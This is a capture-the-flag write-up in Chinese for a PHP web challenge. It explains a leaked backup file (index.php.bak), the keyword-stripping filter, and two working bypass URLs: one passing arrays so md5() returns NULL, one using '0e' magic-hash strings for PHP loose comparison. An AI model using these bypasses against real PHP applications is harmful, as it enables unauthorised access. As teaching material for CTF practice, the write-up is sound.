http://123.206.87.240:8002/web16/
题解:
MD5编码
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
MD5解码
NULL
理论知识:
将原有文件改名进行简单的备份,如将index.php重命名为index.php.bak或者index_bak.php,然后对原文件index.php进行修改,满足其开发要求,在失败的情况下可以再将 index.php.bak或者index_bak.php文件重命名index.php进行还原,这是在没有版本控制的情况下!
扫描分析
下载index.php备份文件index.php.bak
index.php.bak
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
代码分析
strstr()函数,返回url中'?'加上’?‘之后的字符串,
substr()函数,返回从$str[1]开始的字符串,即去掉'?',
str_replace()函数去掉$str中的'key',
parse_str()函数,它的作用是将字符串解析到变量中,举个例子parse_str('a=1&b=1');与$a=1;$b=1;的效果是一样的,
版本一
原理:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
构造URL
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=2
版本二
原理: ==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
MD5值都是0e开头的字符串: QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
构造URL
http://123.206.87.240:8002/web16/?kkeyey1=240610708&kkeyey2=QNKCDZO